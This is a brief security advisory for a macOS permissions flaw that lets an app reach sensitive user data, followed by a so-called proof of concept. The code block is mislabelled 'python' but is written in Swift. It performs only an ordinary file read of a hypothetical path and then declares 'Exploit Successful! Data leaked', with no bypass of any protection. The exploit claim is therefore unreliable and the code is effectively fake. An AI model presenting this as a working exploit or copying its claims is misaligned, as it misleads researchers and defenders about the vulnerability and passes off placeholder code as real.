A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4. An app may be able to access sensitive user data.
The following code is for security research and authorized testing only.
python
/*
* PoC for CVE-2026-20697 (Conceptual)
* Demonstrates attempting to read a protected file that should be restricted.
* Compile with: swiftc poc.swift
*/
import Foundation
func exploit() {
// Path to a hypothetical sensitive file
let sensitivePath = "/Users/Shared/SensitiveData.conf"
let fileURL = URL(fileURLWithPath: sensitivePath)
print("[+] Attempting to access sensitive data...")
do {
// This read operation should ideally be blocked by macOS sandbox/TCC
// but the vulnerability allows bypassing the check.
let content = try String(contentsOf: fileURL, encoding: .utf8)
print("[+] Exploit Successful! Data leaked:")
print(content)
} catch {
print("[-] Access denied or file not found.")
}
}
exploit()